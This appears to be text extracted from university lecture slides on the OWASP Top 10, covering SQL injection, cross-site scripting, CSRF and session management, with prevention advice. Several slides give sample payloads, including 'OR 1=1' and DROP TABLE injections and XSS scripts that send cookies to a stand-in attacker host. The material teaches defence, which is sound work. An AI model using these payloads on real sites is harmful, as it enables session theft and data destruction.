Lecture 16. OWASP: The Open Web Application Security Project

Topic 7: Web Security

Lecture 16

OWASP: TOP 10 attack in 2013OWASP: The Open Web Application Security Project

https://www.owasp.org/index.php/Top_10_2013-Top_10









1. Injection Flaws a) SQL Injection, XPATH Injection, etc

2. Cross-Site Scripting (XSS)3. Cross-Site Request Forgery (CSRF)4. Insecure Direct Object Reference5. Broken Authentication and Session

Management6. Failure to Restrict URL Access7. Insecure Cryptographic Storage

This presentation’s reordered list

• A class of code-injection attacks, in which data provided by the user is included in an SQL query in such a way that part of the user’s input is treated as SQL code

8

SQL Injection

• Two important characteristics:– Injection mechanism– Attack intent

9

SQL Injection

• Injection through user input• Injection through cookies• Injection through server variables• Second-order injection

10

First-order injection

Injection Mechanism

First-order injection• The application processes

the input, causing the attacker’s injected SQL query to execute.

Second-order injection• The application stores that

input for future use (usually in the database), and responds to the request.

• The attacker submits a second (different) request.

• To handle the second request, the application retrieves the stored input and processes it, causing the attacker’s injected SQL query to execute.

11

Injection Mechanism

$query = “select * from Users where user_id = ‘” . $_POST[‘user_id’] . “’ and password = ‘” . $_POST[‘password’] . “’” ;

User ID :

Password :

mshb95

mypassword

select * from Users where user_id = ‘mshb95’ and password = ‘mypassword’

User ID :

Password :

mshb95

‘ OR 1 = 1

select * from Users where user_id = ‘mshb95’ and password = ‘’ OR 1 = 1

First order SQL injection


select * from Users where user_id = ‘’ OR 1 = 1 ; /* ‘and password = ‘*/--’

First order SQL injectionNo need to know the user id

User ID :

Password :

‘ OR 1 = 1 ; /*

*/--


User ID :

Password :

‘ OR 1 = 1 ; DROP TABLE X/*

*/--

select * from Users where user_id = ‘’ OR 1 = 1 ;DROP TABLE X /* ‘and password = ‘*/--’

A more malicious example

15

• Inserting text fields that will pass initial validation, but could be used later on.– e.g. Adding a new user on a web form– Username: alice'' or username=''admin– After insert actual user name in database

• alice’ or username=‘admin– Later, the user updates her password. – The application runs:update users set password='$password' where username='$username'

– The query expands to:update users set password='newpw' where username='alice' or username='admin'

Second Order SQL Injection

• Option #1: Validate all inputs, reject evil inputs– Regexps work pretty well on numbers

• Option #2: Use mysql_real_escape_string– Prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

• Option #3: Have length limits on input– Many SQL injection attacks depend on entering long

strings

Preventing SQL injection attack

• Option #4: Scan query string for undesirable word combinations that indicate SQL statements– INSERT, DROP, etc. – If you see these, can check against SQL syntax to see if they

represent a statement or valid user input

• Option #5: Limit database permissions and segregate users

• Option #6: Use prepared or parameterized statements instead of concatenating

Preventing SQL injection attack

Codeigniter: Prepared SQL

• “Injection Flaw” is a blanket term• SQL Injection is most prevalent• Other forms:

– XPath Injection– Command Injection– LDAP (Lightweight Directory Access Protocol) Injection– DOM (Document Object Model) Injection– JSON (Javascript Object Notation) Injection– Log Spoofing– On and on and on…

Injection Impacts: More than SQL

Cross Site Scripting CSS / XSS Attack

• Cross-Site Scripting, or XSS (not to be confused with CSS or Cascading Style Sheets), allows attackers to inject client-side script in a web page.

• The attacker injects script, such as JavaScript, VBScript, ActiveX, HTML, or Flash into an application to try to get access to sensitive information

• Dynamic websites (using AJAX, Flex, for example) are vulnerable. Static websites are not at risk.

What is CSS or XSS

Fall 2011/Topic 8 22

• Web pages (HTML) can embed dynamic contents (code) that can be executed on the browser

• JavaScript– embedded in web pages and executed inside browser

• VBScript– similar to JavaScript, only for Windows

• Java applets– small pieces of Java bytecodes that execute in browsers

CS526

Client side scripting


<html> … <P> <script>

var num1, num2, sumnum1 = prompt("Enter first number")num2 = prompt("Enter second number")sum = parseInt(num1) + parseInt(num2)alert("Sum = " + sum)

</script>…

</html>

Browser receives content, displays HTML and executes scripts

CS526

HTML and scripting


• Client-side scripting is powerful and flexible, and can access the following resources– Local files on the client-side host• read / write local files

– Webpage resources maintained by the browser• Cookies• Domain Object Model (DOM) objects

– steal private information– control what users see– impersonate the user

– Many more

CS526

Scripts are powerful

function ajaxResponse(){ // check to see if we're done if (ajaxRequest.readyState != 4) return; else { // check to see if successful if (ajaxRequest.status == 200) { document.getElementById("showtime").innerHTML =

ajaxRequest.responseText;

} else alert("Request failed: " + ajaxRequest.statusText); } }

Manipulating DOM Object


• Web users visit multiple websites simultaneously

• A browser serves web pages (which may contain programs) from different web domains– i.e., a browser runs programs provided by mutually untrusted entities– Running code one does not know/trust is dangerous– A browser also maintains resources created/updated by web domains

• Browser must confine (sandbox) these scripts so that they cannot access arbitrary local resources

• Browser must have a security policy to manage/protect browser-maintained resources and to provide separation among mutually untrusted scripts

CS526

Browser as an Operating System


• The basic security model enforced in the browser• SOP isolates the scripts and resources

downloaded from different origins– E.g., evil.org scripts cannot access bank.com

resources• Use origin as the security principal• Origin = domain name + protocol + port– all three must be equal for origin to be considered

the same

CS526

Same Origin Policy (SOP)

• Same-origin policy applies to the following accesses:– manipulating browser windows – URLs requested via the XmlHttpRequest

• XmlHttpRequest is an API that can be used by web browser scripting languages to transfer XML and other text data to and from a web server using HTTP, by establishing an independent and asynchronous communication channel. – used by AJAX

– manipulating frames (including inline frames) – manipulating documents (included using the object tag) – manipulating cookies

SOP: What it controls

• Poorly enforced on some browsers– Particularly older browsers

• Limitations if site hosts unrelated pages– Example: Web server often hosts sites for unrelated parties

• http://www.example.com/account/ • http://www.example.com/otheraccount/

– Same-origin policy, allows script on one page to access properties of document from another

• Can be bypassed in Cross-Site-Scripting attacks

Problems with SOP

• Reflected XSS• Stored XSS (a.k.a. “Persistent XSS”)

Types of XSS / CSS

Reflected XSS attack

• This script is named welcome.cgi, and its parameter is “name”. It can be operated this way:

GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0 Host: www.vulnerable.site ... And the response would be: <HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML>

Site vulnerable to CSS/XSS attack

Send URL to userhttp://www.vulnerable.site/welcome.cgi?name=<script> alert(document.cookie)</script>

http://www.vulnerable.site/welcome.cgi?name

http://www.vulnerable.site/welcome.cgi?name

The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:

GET/welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0Host: www.vulnerable.site

And the vulnerable site response would be:

<HTML><Title>Welcome!</Title>Hi <script>alert(document.cookie)</script><BR>Welcome to our system</HTML>

Reflected CSS/XSS attack

• The victim client’s browser would interpret this response as an HTML page containing a piece of Javascript code.

• This code, when executed, shows a pop-up window showing all client cookies belonging to www.vulnerable.site.

• Of course, a real attack would consist of sending these cookies to the attacker. For this:– The attacker may erect a web site (www.attacker.site)– Use a script to receive the cookies. – Instead of popping up a window, send it to his/her own site (

www.attacker.site


http://www.vulnerable.site/

http://www.attacker.site/

http://www.attacker.site/

• The malicious link would be:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>

And the response page would look like: <HTML> <Title>Welcome!</Title> Hi<script>window.open(“http://www.attacker.site/collect.cgi?

cookie=”+document.cookie)</script> <BR> Welcome to our system ... </HTML>


http://www.vulnerable.site/welcome.cgi?name=%3Cscript%3Ewindow.open(%E2%80%9Chttp://www.attacker.site/collect.cgi?cookie=%E2%80%9D+document.cookie)%3C/script







Attack Server

Server Victim

User Victim

Inject malicious script

request contentreceive malicious script

1

2

3

steal valuable data

4

Store bad stuff

Download it

Stored CSS/XSS attack

• JavaScript supplied by the attacker is stored by the website (e.g. in a database)

• Doesn’t require the victim to supply the JavaScript somehow, just visit the exploited web page

• More dangerous than Reflected XSS– Has resulted in many XSS worms on high profile

sites like MySpace and Twitter

Stored CSS/XSS attack

• Everyone can post comments, which will be displayed to everyone who view the post

• Attacker posts a malicious comment that includes scripts <script>window.open(“http://www.attacker.site/collect.cgi?

cookie=”+document.cookie)</script>

• Anyone who view the post can have local authentication cookies stolen

• Web apps will check that posts do not include scripts, but the check sometimes fail.

Stored XSS attack on blog sites

• Users can post HTML on their pages– MySpace.com ensures HTML contains no

<script>, <body>, onclick, <a href=javascript://>

– However, attacker find out that a way to include Javascript within CSS tags:

<div style=“background:url(‘javascript:alert(1)’)”>

And can hide “javascript” as “java\nscript”• With careful javascript hacking:– Samy’s worm: infects anyone who visits an infected

MySpace page … and adds Samy as a friend.– Samy had millions of friends within 24 hours.

• More info: http://namb.la/popular/tech.html

Myspace.com (Samy worm)

Broken Authentication and Session management

• Results from bad implementation of authentication and session management – An attacker steals credentials or hijack a session

• Could happen – if you are not using https on authenticated pages– Because of XSS flaws we discussed earlier– if an attacker can get your password– Application session timeout is set for a very long time,

at a public terminal, user closes browser instead of logging out

How the attack happens?

• Always use https for any authenticated URLs• If storing credentials in a database, store them

encrypted or hashed• Set session timeouts to as low as possible to

reduce the risk of exposure to someone who forgets to log out at a public terminal

Prevention

1. Injection Flaws a) SQL Injection, XPATH Injection, etc

2. Cross-Site Scripting (XSS)3. Cross-Site Request Forgery (CSRF)4. Insecure Direct Object Reference5. Broken Authentication and Session

Management6. Failure to Restrict URL Access7. Insecure Cryptographic Storage

This presentation’s reordered list

CSRF Attack(Cross Site Request

Forgery)

• CSRF is a request made to the server that the server is not able to determain whether the request is coming from the user or an attacker.

What is CSRF?

Browser

Bank

Facebook

Bill FavoriteForum/blog

http://mybank.com/transfer?from=bill&amount=10000&for=someguy

<img src=http://mybank.com/transfer?from=bill&amount=10000&for=someguy />

http://mybank.com/showaccount?id=bill

CSRF Example

• Re-authenticate or CAPTCHA for extra-sensitive pages

• Good frameworks save a unique ID in the session and verify each request

Prevention

??? Questions/

Confusions?

Documents

Lecture 16. OWASP: The Open Web Application Security Project